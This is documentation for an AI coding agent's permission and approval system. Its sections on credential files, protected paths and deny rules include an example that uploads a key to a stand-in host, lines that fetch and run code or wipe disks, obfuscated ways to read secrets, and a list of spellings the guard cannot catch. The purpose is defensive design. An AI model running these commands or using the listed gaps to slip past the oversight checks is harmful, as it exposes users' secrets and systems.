![The Approval required dialog for a run_command call, with the optional note sent with Deny](https://github.com/Flare-Agentic/flare/raw/main/docs/screenshots/approval-modal.png)

**Where to find it** — The modal is global: it opens over whatever page you are on (Workbench, Board, Settings) the moment an approval arrives, at `/p/p_2449f1b1/workbench` or any other project route. If the tab is unfocused, the tab title flips to "● Flare — needs attention" and a browser notification ("Flare — approval needed", with "<tool> is waiting for your approval" and the subject) tells you which tool is waiting; clicking it refocuses the window.

**How to use it** —

1. Start a card on the Board (or a run through the API); when the agent reaches an ask-gated tool, the modal opens and the run waits.
2. Read the subject line (the full shell command, or the file path for edit tools).
3. Approve it once (**Approve**), or refuse it (**Deny** / D — the agent is told and continues). There is no "always allow": nothing that asks can be lifted by a remembered grant (a floor, an ask rule and a doubted deny all outrank any allow), so the modal does not offer one.

**How it works** — The safety guard evaluates every call as `deny > ask > allow`; an "ask" registers a pending approval, emits `approval.requested`, and the loop awaits your promise-backed decision (the WAITING_FOR_CONFIRMATION state). Your click resolves it and emits `approval.resolved`, so every decision is durable and auditable in the trace. Five safety floors can raise an "allow" to "ask" even in permissive modes: credential files and protected paths (below), the [typosquat install firewall](#typosquat-install-firewall), [risky commands](#risky-commands-ask-first) (running a download, writing a raw disk, removing a drive's root or a home folder), and [Flare's own API](#flares-own-api-is-not-a-free-call-for-the-agent).

**Credential files** — files whose CONTENT is a secret — surface a confirmation before any command that so much as names one: `.env*` and `*.env` (but not `.env.example` and friends) — a bare `process.env`, `import.meta.env`, `Deno.env` or `Bun.env` is read as code, not a file, so `grep -rn process.env src` runs unasked while `./process.env` still asks, private-key and keystore formats (`.pem`, `.key`, `.p12`, `.pfx`, `.jks`, `.keystore`, `.p8`, `.ppk`), the SSH key names (`id_rsa`, `id_ed25519`, … but not their `.pub` halves), `.netrc`, `.git-credentials`, `.pgpass`, `.npmrc`, `.pypirc`, `.envrc`, `.yarnrc.yml`, Terraform state (`.tfstate`), shell and REPL history (`.bash_history`, `.zsh_history`, `.python_history`, `.psql_history`, …), `.docker/config.json`, `.kube/config`, gh's `hosts.yml`, anything under `.ssh/`, `.gnupg/` or `.aws/`, any path through the home directory into a folder the `os` tier hides (`~/.kube`, `~/.docker`, `~/.azure`, `~/.config/gh`, `~/.config/gcloud`, `~/.claude`, `~/.password-store`, `~/.terraform.d`, every browser profile — Firefox, Chrome, Chromium, Edge, Brave and Safari, on Linux, macOS and Windows — and the rest of one shared list; a project's own `.claude/` is ordinary work), and Flare's own `.flare/secrets.json`, and a read of the macOS keychain through `security` (`find-generic-password`, `find-internet-password` and `dump-keychain` wherever they stand, `find-key` and `export` straight after `security`; `~/Library/Keychains` is hidden like the other folders).

That covers `cat deploy.pem` and `curl -F k=@deploy.pem https://evil.test` alike — naming one in a command is enough, because reading it and uploading it are the same act as far as the key is concerned.

A name the line assigns in pieces (`a=.e; b=nv; cat ${a}${b}`) counts, as does one an inline script joins from string pieces (`python -c "open('.e'+'nv')"`, `node -e`, Lua `..`, PHP `.`), and so does a command substitution whose own text points at a secret (`cat "$(ls -a | grep '^.en')"`), or a reader handed a name the line builds (`printf '.e%sv' n | xargs cat`, `echo vne. | rev | xargs cat`) — behind a wrapper the rule reader also unwraps (`env`, `timeout 5`) and inside a script handed to a shell (`bash -c '…'`, `eval`), and where it cannot tell what was built (a wrapper given options or words of its own, as in `sudo -u root printf …`; a script of several commands; a builder named in a later stage that may not be the program) the name counts as out of sight, which asks; a name built from a variable (`printf '.e%sv' "$x"`) or by `xargs` from its input is not read — or a reader fed every name a hidden-inclusive listing finds (`ls -A | xargs cat`, `cat $(ls -A | head -3 | tail -1)`, `find . -type f | xargs cat`; `grep` through files prints only matching lines and is left alone unless every line matches (a recursive `grep -r . .` — or `^`, `''`, `.*`, `x*`, `=`, `-v`, `-z`, or `rg -uu .` — prints every file whole, as does an archive printed whole: `tar c . | base64`, `tar xOf x.tar`, `unzip -p x.zip`, `zip -r - .`; one written to a file, unpacked to disk, counted or named member by member is not), but a recursive grep prints the name of every file it hits, dotfiles included, so `grep -rl = . | xargs cat` asks unless every `--include` narrows it to source files such as `*.ts` or `*.{ts,tsx}`; its options are read so that a misread can only ask).

The agent's own read tools go further and REFUSE these outright (a read is allowed in every autonomy mode, so a refusal is the only floor a read can have); add your own with **Safety → Also treat these files as credentials** (`safety.credentialFiles`, project-scoped globs — a `*.tfvars`, a service-account JSON), which only ever ADDS to the built-in list.

**Protected paths** always surface a confirmation before being written (and `git config` writing a key, or `git -c`, counts as writing `.git/config`: `core.fsmonitor`, an alias starting with `!` and `include.path` all run code later) — `.git/`, `.env*`, `flare.mcp.json` (or the file a project's `mcp.configPath` names instead, with the folders that hold it), and `.flare/` (not a list of files inside it: everything there becomes code or policy, from `settings.json`'s run-commands to `plugins/*.mjs` to this engine's own `permissions.json`). The question's note names the protected paths the call holds, up to five, quoted and with secrets masked; a long path is shown as the part that makes it protected, with its length. The preview of the call's arguments is cut short past a nesting depth or a total length, so the note is what tells you why the question was asked.

The one exception is `.flare/worktrees/`, which is where agent worktrees are checked out — `.flare/` is gitignored, so a worktree holds source and no config, and an agent can already write those same files by a relative path, so flooring them asked for approval on the spelling of a path rather than on what it could reach. A `..` segment anywhere in the path withdraws that exemption, so nothing can climb back out into config.

The floor reads the path as written, plus what the line itself makes of it: a value the command assigns is read in (`d=.gi; echo x > ${d}t/hooks/x` asks), and a folder or dot-name it puts together from pieces (`${x}${y}/hooks`, `.g$x`) asks, while one variable standing for a folder (`"$OUT/file"`) does not; so does a command substitution whose own text holds a piece of one (`.gi`, a `.%s` as in `$(printf .%s git)/config`, a repository policy name, git's `--git-dir`, `--git-path` or `core.hooksPath`), while one that only runs git (`$(git rev-parse --show-toplevel)`) or a heredoc's text without such a piece does not.

A value from the environment, or one the line makes another way (`printf -v`, `read <<<`, a substitution that names no piece of one, `$'…'`), is out of its sight, so the agent's edit tools also check where a write really lands: a write or delete that reaches `.git/`, `.flare/`, `flare.mcp.json` or a credential file through a link inside the repo (`cfg -> .flare`, then `cfg/hooks.json`) is refused outright, since the floor never saw that name. On Linux that check reads where the open file really is from the kernel, so swapping a folder for a link mid-write cannot redirect it; on Windows and macOS it re-checks the file actually opened, which a single swap cannot pass but a precisely timed double swap still could; a delete there has the same window.

The floor collapses a path before matching the repository's own policy paths, so `src/../.githooks/x` or `./.githooks/x` asks as `.githooks/x` does, and a configured hooks folder counts before it exists (the confining tiers create it, empty, and a missing `.git` too, so they can make both read-only and a confined `git init` has nowhere to land).

A diff bound for a model (the diff review, the external reviewer, the rubric gate, the diff narration and the MCP `flare_get_changes` tool) names a credential file (the built-in list and **Safety → Also treat these files as credentials**) but withholds its contents, including a rename into one; the review diff you see shows them, so a command that quietly wrote one is visible.

The repository's own policy paths count as protected too: the folder `core.hooksPath` names (a `git push` runs what is in it) and a submodule's `.git`.

The floor applies in every mode, `auto` included, so a dispatched agent can still hit it — which is why the approvals list covers per-agent engines and not just the main one, and the package-install firewall asks before running an install command whose package name looks like a typosquat of a popular one.

**Configuration** — No autonomy mode asks on its own (see Autonomy modes below): what asks is a floor or a rule. The typosquat install firewall setting in `~/.flare/settings.json` disables the typosquat install check. Headless contexts with no approval channel fail closed: an ask-gated tool errors instead of running. An approval waits for an answer indefinitely unless you set **Auto-deny an unanswered approval after** (the hidden `budget.approvalTimeoutMs`); see [Unattended runs that park on a human](#unattended-runs-that-park-on-a-human).

### A run request's dials answer malformed input the same way

**What it does** — `effort` and `outputStyle` sit on the same run request and answer bad input the same way: an unknown value is a `400` on both request paths (`/runs` and `/resume`), with the message naming the valid keys.

**Where a set is closed depends on where it lives.** `Effort` lives in `@flare/schema`, so the request schema holds it. `OUTPUT_STYLES` lives in `@flare/core`, which the schema package does not depend on — restating those keys there would be a second source of truth. So it is closed in the _route_, as `attachments` and `outputFormat` are.

**Resuming from a stored spec still degrades, deliberately.** A spec is a record of a run that already happened: it must replay. Refusing it would turn a style you have since renamed into a resume nobody can perform. A request is a live choice a client can correct; a spec is not.

### An untrusted project says so before you press Save

**What it does** — Instructions and MCP refuse a write on an untrusted project with a 403 the pane renders. So that you learn it before filling in a form, those panes show a notice and disable their create control up front, as Settings → Skills does. The notice names the remedy: "Trust the project to edit it".

**How it works** — `GET /meta` answers `canWriteConfig`, derived from the same `runtime.trusted` the authoring routes refuse on, so the panes and the routes cannot disagree; the client never works it out itself. The Settings page asks once and hands the answer to every pane. A pane that is not told assumes it can write — the 403 is still the gate, so being wrong costs one late error message, while defaulting to read-only would disable the whole page on a transient blip.

### A panel that could not load says so

**What it does** — Each Settings panel tracks `loading | loaded | failed`, and its empty state ("No MCP servers", no skills) is only reachable once a load actually succeeded and returned nothing. A failed load says so — "It keeps trying, and the list appears as soon as it can" — toned differently from the empty state, so a partial outage never reads as an empty project.

**How it works** — Each surface reports into its own error channel — one banner per distinct message, a panel's cleared when it unmounts — so one poller recovering does not clear another's error. There is no Retry button: the poll already retries.

### Tools the mode denies leave the menu

**What it does** — In `read-only`, edits, commands and network calls are denied by the _mode_, so `create_file`, `apply_edits`, `run_command` and `web_fetch` are left out of the toolset rather than offered to the model and refused one round trip at a time.

**What it will not do** — A tool is hidden only when it is refused for **every possible subject**. A rule that could still permit it keeps it listed: an `ask` rule naming the tool, since its approval can lift the mode's deny. Hiding is an optimisation, never the enforcement: a hidden tool called by name is still refused by the guard. And it is not silent — [a run records what it was allowed to do](#a-run-says-what-it-was-allowed-to-do), so the withheld tools and the reason (the rule's spelling, or `mode:read-only`) are on the run's own event.

### A run says what it was allowed to do

**What it does** — A run's `run.started` event records the **autonomy mode it actually executed under**, and any **tools a bare deny rule kept out of its toolset**, each with the rule that did it. The trace line names both, and the provenance record reports the run's own mode.

**Why it matters** — A deny rule that names a tool with no pattern removes it from the toolset entirely: the model never calls it, nothing is denied, and without this record the session would read as one that simply never wanted the tool — an untrusted clone shipping `[{"tool":"*","action":"deny"}]` would be invisible. The mode is read from the log, not the live engine, because one card runs under two modes — `read-only` while it refines and plans, `auto` while it implements — and its agent may be long gone.

### Stuck-agent escalation

**What it does** — If you deny the same tool three times in a row, the approval modal grows a warning banner — "**<tool>** keeps getting denied (3 times in a row) — the agent may be stuck." — with a **Stop run** button, so you can end the run instead of denying forever.

**Where to find it** — Inside the Approval required modal, after the third consecutive denial of one tool in a session.

**How it works** — The streak is counted client-side per tool and is purely advisory; approving that tool resets it. **Stop run** aborts the live run cleanly (the run completes with a "stopped" status).

### Permission rules

**What it does** — Rules are a file: `.flare/permissions.json`, each entry `{"tool": …, "action": "ask" | "deny", "pattern" | "prefix": …}` — a pattern or a prefix, not both, and `exact` only with a pattern. An `exact` pattern is literal (its `*` is a star, not a wildcard) and is read as widely as any other pattern, so an exact deny still meets its command inside a chained line. An entry Flare cannot read as written is named in the server log by its position and blocks every write to the file until it is fixed: a deny naming both is read as a deny of each (wider is stricter in either mode), and an entry Flare reads no rule from — an ask naming both, or no rule at all (`"action": "Deny"`) — runs the project read-only and holds its cards, as a file that does not parse does: in `auto` an ask is the brake, in `read-only` a deny is. A rule can only ask or deny: there is no `allow`. An `ask` rule is the one rule that can lift a `read-only` deny, to a question you answer and never to a pass, so no rule lets a call through unattended. There is no rule-editor pane and the approval modal writes none, so adding or revoking a rule is a deliberate edit of that file, or a call to the API (`GET`/`POST /projects/:id/permissions`, `DELETE /projects/:id/permissions/:ref`; the SDK's `listPermissionRules`, `addPermissionRule`, `removePermissionRule`).

**How to use it** —

1. Add, change or delete an entry in `.flare/permissions.json` and restart; deleting one revokes it. A rule added or removed through the API is written to the same file and takes effect at once, in cards already running too. If the file cannot be read as written, Flare will not run a card (or a revision round) without your rules, and an `auto` engine is built read-only until you fix the file and reopen the project.
2. Tool names accept globs like `*`, and a bare deny rule hides the tool from the model entirely — it is never even offered. A deny or ask with a command on `run_command` also covers every other tool that runs a command (`start_process`, an MCP shell tool, whichever name it gives the command: `command`, `cmd`, `script`, `commandLine`, or an argv array under `command`, `cmd` or `argv`), and the floors read it too.
3. In `read-only` an **ask** rule is what lets one thing more through, with your approval each time (`npm test` while planning). In `auto` everything is allowed already, so there a rule asks or denies.
4. A deny or ask on a tool that takes a path (`read_file`, `create_file`, …) meets every spelling of that path: `./secrets/k`, `a/../secrets/k` and `secrets\k` all meet `secrets/*`, and an absolute path or one that climbs with `..` meets the rule at any of its folder tails, since the project's root is not known there (a deny may then cover a same-named folder elsewhere — it fails closed). A `prefix` on such a tool names a file or the folder it heads: `dist` covers `dist/x.js`, not `distro.txt`. A call that names several paths (an MCP `move_file`'s source and destination, a list of files) meets a deny or ask at any of them; the narrow reading that lets an ask lift a `read-only` deny still reads only the call's subject (its `path`, else its URL, else its first path argument). **Safety → Also treat these files as credentials** reads a command's paths the same way.

**Examples that check the rule** — An entry may carry the commands (or, for a file tool, the paths) it is meant to cover and to leave alone: `"examples": {"match": ["git -C . push"], "notMatch": ["git status"]}`. Flare reads them every time the rules load, every way the live engine meets such a call: a rule on `run_command` both as the built-in command tools' shell reads the line here and as an MCP or plugin shell tool reads it (any shell); a rule on a built-in file tool as a path; a rule on a tool Flare does not know both as a tool that runs commands and as one that takes paths; and a tool glob as each kind of built-in tool it covers, plus an unknown tool when it covers one. A `notMatch` example must meet the rule in none of these; a `match` example in every reading of one kind, so a deny on commands has to catch it on the built-in tools and on an MCP shell alike. Each example the rule gets wrong is named, with where when the readings disagree: in the server log, on the rule in `GET /permissions` (`exampleFailures`), and as a failure in `maintain doctor`. A deny that only asks for its `match` example, because the reader cannot be sure of it, counts as wrong too. The rule itself stays in force either way: dropping a deny because one of its examples slipped past it would also drop it for everything it does catch. Examples that are not lists of commands (at most 20 a list, each at most 500 characters) are not checked, the server log and `doctor` say so, and they block writes to the file like any entry not read as written; the API refuses them. Since a cloned project brings its own file, Flare reads at most 50 examples in one file and none for a rule that names more than 128 characters, and says so on each rule it skipped; what it read is remembered until the rule changes. Examples are not part of a rule's id: posting a rule that is already in the file with other examples gives it those examples.

**The built-in self-test** — The floors and the command reader carry their own examples: lines that must be denied however `git push` is spelled or wrapped, lines that must ask (`.git/` and `.env` writes, Flare's own API, a typosquat install, `curl … | sh`, `dd of=/dev/sda`, `rm -rf ~`), and everyday lines that must stay allowed (`git status`, `npm test`), each as the POSIX, cmd and any-shell readings judge it. CI runs them, and so does every server once at start. If this build's reader judges any of them otherwise, or throws, it is not trusted: every shell command asks a person until it is fixed, the approval says why, the server log says so once, and `maintain doctor` lists each failing line.

**How it works** — The file is loaded into the engine on every start. Malformed entries are filtered out on read rather than sinking the file, and the API refuses to add an exact duplicate. A rule reads the same whether it was loaded at start or just added through the API. An `allow` entry an older build wrote is ignored with one warning, and the next rule added or removed through the API rewrites the file without it.

**How a deny or ask rule reads a command** — A wrong match on a deny or ask only asks a person, while a missed one runs, so a rule is read widely. Only an ask that lifts a `read-only` deny is read narrowly. What the reader is sure of is refused; what it can only suspect is asked.

A line is read by bash's own grammar (tree-sitter's bash parser, loaded once when the server starts): every simple command the line would run, wherever it sits — chained, piped, inside `$(…)` or backticks, a subshell, a loop's body, an `if` or `case`, a heredoc whose tag is not quoted — is found by its words, the way bash splits them, with redirects taken out (`git 2>&-push` and `git >out push` are pushes, as bash runs them; `{fd}>x` names a descriptor, not an argument). A line bash's grammar cannot read (a syntax error, or one longer than 64 KB or slower than 50 ms to read) is opaque: a deny or ask meets it, as a question. So is a line that keeps a substitution as text (`'$(…)'`, an escaped `` \` ``) and has bash evaluate a value — arithmetic, `let`, `declare -i`, a numeric `[[ … -eq … ]]`, or `${x@P}` — because bash runs the stored text then (`x='a[$(git push)]'; echo $((x))` pushes), on whichever shell reads the line. Bash's grammar and bash still differ in places, so every line is also read word by word, on every shell, and a rule meets what either reading finds: the grammar only ever adds. Where a line may meet cmd or PowerShell (Windows, an MCP or plugin shell tool), cmd's and PowerShell's own readings are kept beside it. On Windows, PowerShell's own parser reads every script PowerShell is told to run (`powershell -Command "…"`) and every line any shell may run: a command inside a script block (`… | % { git push }`) is read like any other, and an element PowerShell works out as it runs (`git ('pu'+'sh')`, `& $g push`) is a word the shell fills in, so a deny asks. Code handed to something that runs it — `Start-Process` or `Invoke-Expression` given a worked-out argument, `[scriptblock]::Create`, `[Diagnostics.Process]::Start`, `Add-Type`, a WMI or COM launcher — makes the line a question too. A newer PowerShell's `&&` and `||` are read as the `;` they chain like. A script with a syntax error is read up to the line of its first error, since a shell reading line by line has run what came before (a script PowerShell is told to run is read whole). The parser is Windows PowerShell by its fixed System32 path, one long-lived process with no `PATH` and no modules, about 2–5 ms a line. A parser that does not answer within two seconds is restarted, and a line it did not answer, or one holding more than sixteen scripts, is a question; one that exits is restarted up to three times a minute, each logged. Code an interpreter is handed on the line or on its input (`python -c`, `node -e`, `perl -e`, `ruby -e`, `php -r`, `lua -e`, an awk program, `deno eval`, `python - <<EOF`, `python /dev/stdin`) is a question too when it names a way to start a process or to run code it builds (`os.system`, `subprocess`, `child_process`, a computed `require`, `eval`, `system(`, a pipe to a command), or when the shell builds it (`-c "$CODE"`, `-c "$(cat x)"`); so is code an interpreter reads from a pipe, which the line never shows. This stops the plain spellings, not a determined one: a language can always name a call some new way, and a script file run from disk is not read at all (a sixteenth of real commands run one), nor is a command a program takes from an environment variable (`LESSOPEN`, `VIMINIT`, `EXINIT`, `VISUAL`, `PAGER`), from a make variable, set on the line or in the environment (`make CC='…'`, `MAKEFLAGS`), or from its own scripting (`sed`'s `e`, `emacs --eval`, `man -P`). Below the reader, git refuses the ordinary push to a network remote from anything an agent runs, and a confining tier hides the credentials a determined one would need (see Sandbox tiers in Memory & safety).

- **Narrow reading (an ask lifting a `read-only` deny).** A `prefix` ask (`git status`) covers only that simple command, and never one with a word the shell fills in with several (`*`, `{a,b}`, `%x%`) — anything else stays denied. A `pattern` ask is matched as a glob against the whole line, so its `*` also spans what follows: `npm test*` lifts `npm test; rm -rf ~` too — to a question showing that whole line, never to a run. Only a line break stops it (`npm test` then `curl …` on the next line stays denied). To lift just the command, write the ask as a `prefix`; an `exact` ask lifts only its literal line.
- **Wide reading (a deny or ask).** A `git push` deny (`prefix`) covers `git push` wherever the command line runs it — chained, piped, inside `$(…)`, behind `sudo`/`env` (its `-S` bundled too, `-iS`)/`timeout`, inside `sh -c`/`cmd /c`/`eval` (past the shell's own options: `bash -c -e 'git push'`) (and every other shell that takes a script: `tcsh`, `csh`, `mksh`, `ash`, `yash`, `posh`, `nu`, `elvish`, …, with elvish's `e:git`, nu's `run-external` and cmd's `@git`), with flags and their values between (`git -C . push`) and with its own flags in any order (`rm -rf` covers `rm -fr` and `rm -r -f`), but not `git stash push`. A `pattern` deny whose only `*` ends it (`git push*`, `rm -rf*`) is read the same way. A rule that names a launcher itself — `sudo`, `env`, `timeout`, `bash`, `npx`, `pnpm dlx`, `docker exec`, `run0`, `machinectl shell` — covers every line that runs it, whatever it launches and wherever it stands (`deny sudo` covers `sudo git push` and `timeout 5 sudo ls`; an exact `run0 git push` covers `sudo /usr/bin/run0 git push`).
- **Case.** A cmd switch counts wherever it stands, and where the shell ignores case so does the rule: a cmd switch, and a cmdlet named as PowerShell spells it, match in any case (`del /s` covers `del /q /S`, `Remove-Item -Recurse` covers `remove-item -RECURSE`).
- **How the line is split.** It reads the line as a shell splits it — a `\`-newline continues it, a redirect ends a word (`git push>out`) and is taken out of the command wherever it stands (`git 2>&1 push`, `>out git push`), `$'\x70ush'` is decoded, and a line PowerShell may run is read its way too (``g`it push``, `. git push`, `&{git push}`, `iex 'git push'`, `git <#…#> push`), as is a cmd `for /f` loop's `('git push')`. It reads git's dashed programs (`git-push`, `/usr/lib/git-core/git-push`) as git, and follows `find -exec`, `trap`, `coproc`, `bash -c --` and the scripts git runs itself (`submodule foreach`, `bisect run`, `rebase -x`, `difftool -x`, `filter-branch --*-filter`).
- **Suspected, so asked.** What it can only suspect, a deny turns into a question rather than a refusal (a mode that denies commands outright still denies):
  - a word that differs only in case for a program that reads case (`rm -R` under an `rm -r` deny), a start of a cmdlet's parameter (`-rec`, since an exact `-Path` beats `-PathType`), and switches run together (`RD /S/Q`, since in git-bash `/c/d` is a path);
  - a command nested too deeply or too long to read (padding a line hides none of its own commands: those still deny);
  - one whose script this reader never sees (`… | sh`, `… | bash /dev/stdin`, `bash <<< …`, `. <(…)`, `… | source /dev/stdin`, `pwsh -EncodedCommand`, a script handed to `at`/`batch`, `crontab -` or `<(…)`, or a command given to `schtasks /tr`, which a daemon runs later), and commands a make, an editor or a pager is handed to run (`make -f -`, `make --eval` and their clustered and abbreviated spellings, any vim-family option other than the few that run nothing, ex mode, `ed`, `less +'!…'`);
  - a command PowerShell computes (`& (…)`, `& $x`, `@(…)`, `iex (…)`, `… | iex`, an argument in parentheses as in `git ('push')`, `Start-Process`/`saps`/`start` with its `-ArgumentList`) — on Windows in any line a shell may run, and elsewhere (Linux, macOS, a hosted server, where no PowerShell parser runs) only in a line that names `pwsh` or `powershell`, since read as PowerShell an everyday POSIX line (`f() { :; }`, `diff <(ls a) <(ls b)`) would look computed too;
  - a name the line itself defines (`Set-Alias`/`sal`/`New-Alias`, `Set-Item alias:…`, `alias`, `doskey`, `hash -p`);
  - a word the shell fills in when it runs (`$x`, `$(…)`, a backtick span, `{a,b}`, `"$@"`, `"${a[@]}"` and PowerShell's `@args`, cmd's `%x%` and a `for` loop's `%i`) where the rule's word would stand — `git $sub` asks under a `git push` deny, `git commit -m "$msg"` does not;
  - a word after a wrapper that holds a whole command line (`ssh host 'git push'`), which is read too, as a question;
  - heredoc bodies are text, not commands.
- **Unknown programs.** Any other program may launch the words after it, so under a rule that names a word after its program (`git push`, `rm -rf`, `git push*`) `fakeroot git push`, `cross-env FOO=1 git push`, `tini -- git push`, `my-runner sh -c 'git push'` and `pnpm --filter web exec git push` ask too — by literal words only (a glob, a `$x` or a word holding a whole line after an unknown program is read as data, except under `tmux` and `screen`, which run one), and from the first word that launches or is git, read as a command line. A wrapper's first shell is read with everything after it, and each later one by its own script, so a chain of launches reads in linear time.
- **Rules naming only a program.** A rule that names only a program (`curl`) is not read into an unknown program's words (`which curl`, `apt install curl`), and git, `echo`, `printf`, `man`, `which` and the grep family are read as themselves.
- **Still not covered.** A git alias the repository defines (`git p`), a program git is told to run through its environment or config rather than an option on the line (`GIT_EXTERNAL_DIFF`, `core.sshCommand`), an option alias (`-f` for `--force`, `--recursive` for `-r`) or, outside a cmdlet, an abbreviation (`git reset --har`), a command's alias (`ri` or `rm` for `Remove-Item`, `erase` for `del`), an interpreter running the command (`python -c`), a script file a shell runs (`bash x.sh`, `source x` — like `./x.sh` or `make`, what it runs is not on the line), or a launcher whose subcommand comes after its own arguments (`yarn workspace pkg publish`), or a command given as an option's value or in a program's own language (`rsync -e`, `tar --to-command`, `vim -c '!…'`, `less +!…`, sed's `e` command, a makefile read from `-f /dev/stdin`). For those, a confining sandbox tier, not a rule, is the boundary.

### Clarifying questions (ask_user)

**What it does** — Instead of guessing, the agent can call the `ask_user` tool to pose 1–4 multiple-choice questions mid-run. The run parks until you answer. Each question renders its options as clickable chips (single- or multi-select, each with an optional description) plus an "Other…" free-text field as an escape hatch.

**Where to find it** — A global modal titled **The agent has a question** (or **The agent has a few questions**), opening over any project page, exactly like the approval modal.

**How to use it** —

1. Click a chip to select an answer (single-select questions swap the choice; multi-select toggles), or type into **Other…**.
2. **Send answer** (or **Send answers**) stays disabled until every question has at least one answer.
3. **Dismiss** cancels the question — the agent is told you declined to answer and continues, rather than the run hanging. Escape does nothing and there is no ✕, so a typed answer is never lost by accident.

**How it works** — `ask_user` emits `question.asked` and the run awaits `question.answered` — the same park-and-resolve pattern as approvals, durable in the event log. The tool is read-tier in the permission engine, so asking you a question is itself never approval-gated (that would double-prompt you) and works in every autonomy mode. A typed **Other…** answer is screened for secrets like a prompt; an option the agent offered is not.

### Autonomy modes

**What it does** — Two modes, one per kind of work. Each tool belongs to a category (read / edit / command / network, or `other` for a tool nobody classified — denied in `read-only`, allowed in `auto`), and the mode supplies the decision per category:

- `read-only` — Reads only: edits, commands and network calls are refused. A card refines and plans in this mode, and it is the default for sessions started outside the board (the SDK, MCP `flare_run`).
- `auto` — Edits, runs commands and reaches the network without asking. A card implements in this mode, in its own worktree.

Neither mode asks. A question comes only from something narrower than a mode: the protected-path, credential-file, install-firewall, risky-command and self-API floors, an ask rule you wrote, or a deny rule the command reader can only suspect. Those hold in both modes, and so do your deny rules and every landing gate (review, secret scan, policy paths).

**Where to find it** — **Settings → Safety → Default autonomy mode** (`safety.mode`). The top-bar Run settings popover shows the active mode under **Autonomy & sandbox**; hovering **Autonomy mode** gives a one-line hint.

**What "auto" does not mean** — File tools are confined to the project in every mode. Shell commands are confined only by the sandbox tier: on the `local` tier (Windows' fallback) a command runs with your own rights, and the floors and deny rules are what stand in its way. A card refuses to start unconfined unless **Safety → Sandbox tier** is set to `local` explicitly. A card's agent never runs git, in any mode — its branch reaches main only through the merge gate — and in `auto` no other run does either, so an unattended run cannot commit, merge or push: the refusal reads a line as a deny rule `git` would (and `hub`, and gh's `pr merge`, `pr create`, `pr ready`, `pr checkout`, `repo sync`, `release create` and `api` the same way), on every tool that runs a command (an MCP shell tool too), and a line that may run git only as it runs (`$x push`, text piped into a shell) is refused as well, saying why.

**Configuration** — `safety.mode`, default `read-only`. A value an older build wrote is read as the mode it now means, never a wider one: `bypass` as `auto`; `plan`, `accept-edits` and `workspace-write` as `read-only` (they asked before commands, and `auto` would not).

### Budget caps

**What it does** — Three hard circuit-breakers bound a runaway run: a per-run step cap, an optional per-run tool-call cap, and an optional per-run **monetary** cap in dollars. When the step cap is hit the run ends with status `budget-exceeded`; once the tool-call budget is spent, every further tool call is blocked with a "Budget exceeded" error instead of executing; and once a run's estimated cost reaches the money cap it halts at the next step boundary, ending `stopped` with the reason `Cost budget exceeded: ~$X ≥ $Y`. The money cap is the one that matters most for long autonomous runs — steps and tool calls don't bound what a run actually spends.

![The Run settings popover showing the Limits group](https://github.com/Flare-Agentic/flare/raw/main/docs/screenshots/run-settings.png)

**Where to find it** — Read-only in the top-bar **Run settings** popover (the gear + "◆ <model>" chip, titled "Run settings — model, autonomy, limits"): the **Limits** group lists **Max steps** and **Max tool calls** alongside the context budget and output cap.

**How it works** — The tool-call budget is enforced inside the safety guard — after permission and approval checks, before execution — so it applies uniformly to built-in, MCP, plugin, and connector tools, and subagents share the parent run's budget. The step cap is enforced by the agent loop itself. The money cap prices the run's own usage events as they land (the same estimated pricing the cost dashboards use, kept in `@flare/safety` so the loop and the client share one table) and trips a budget the instant cumulative cost reaches the limit; under a cap you set, an unpriced model is charged at the default rate, so it can never run past that cap unbilled. All three are recorded in the terminal `run.completed` event.

**Configuration** — **Limits → Stop a run at** is the one on the page, and it has a **default of $25**, so a fresh install whose owner has configured nothing still has a spending limit. For a model id Flare has no price for, the default is not applied — the server logs that the run has no ceiling — so set **Limits → Stop a run at** explicitly to cap it; a cap you set charges such a model at the default rate. The figure is measured rather than chosen: across 408 real runs in this repo's own event log, the median cost $0.62, the 90th percentile $3.59, the 99th $12.91 and the most expensive $26.50, so $25 sits above all but one while still bounding a runaway. Set it to `0` for no ceiling. **Limits → Stop a card at** (`fleet.maxCardCostUsd`, unset by default) is the matching ceiling for a whole board card, every stage and revision round together. The step and tool-call caps are hidden settings in `~/.flare/settings.json`: `budget.maxSteps` (default `10000`, a backstop against a runaway loop rather than a budget) and `budget.maxToolCalls` (unset, shown as "Unlimited"). Costs are estimates — see the pricing caveat in the cost dashboard — so set the cap with a little headroom.

### Stuck-run guard & stall recovery

**What it does** — Catches the doom loop where an agent issues the _same_ tool call over and over — classically re-reading the file that each context compaction just evicted — and burns the whole step budget getting nowhere. Two layers: the guard ends such a run (status `stopped`, reason `Stuck: repeated tool call …`), and before it does, **stall recovery** gives the run one bounded second chance. A stall is usually one bad plan away from recoverable, so on the trip Flare asks a fresh model — no tools, no history, just the stall and a bounded tail of the transcript — for a short plan, injects it into the conversation as a `[stall recovery]` message, and lets the run continue.

**Where to find it** — In the session **Trace** view: a rescued run shows a `[stall recovery]` user message naming the call that stalled, followed by the plan. A run that wasn't rescued ends with the `Stuck: repeated tool call …` reason on its `run.completed`. The card inspector's **Trace** tab also flags runs that spun on a repeated tool call.

**How it works** — The loop counts each tool call by name **plus** arguments, so a legitimate re-read of a _different_ file never counts toward the same signature. It also catches a loop over two to four different calls (A, B, A, B or A, B, C, A, B, C) repeated whole and in a row: once the loop holds as many calls as the guard allows, the run stops with `Stuck: repeated the same N tool calls (…) R times in a row`, instead of each call counting to the limit on its own. Identical calls in one parallel batch count once, and when the batch trips the guard no copy of the call runs. A call that alternates with another therefore stops sooner than one repeated alone (about 13 times at the default of 25): polling a background process between sleeps is what watch_process is for. A successful new edit is progress and clears both counts. In the 622 recorded runs this was measured on, no loop repeated more than twice, so a working run does not trip it. On the trip, the re-plan runs as a one-shot call on a fresh window and its answer is injected as a user message; the tripped signature's counter is then cleared so the re-planned agent has real room to work — without that, the very next identical call would trip again one step later and the rescue would be theatre. The escalation is strictly **once per run**: a second stall ends the run. It applies to main runs only — a subagent is already bounded by its own budget and its parent's. The injected guidance is capped in length (a rambling re-plan would push the very context that stalled the run further toward the compaction threshold) and is secret-masked in the log like any other model-authored text.

Every failure degrades to the plain stop: no answer, a model error, or a run you stopped while the re-plan was streaming all leave the pre-existing behavior exactly as it was. Stall recovery can rescue a run; it can never be a new way for one to die.

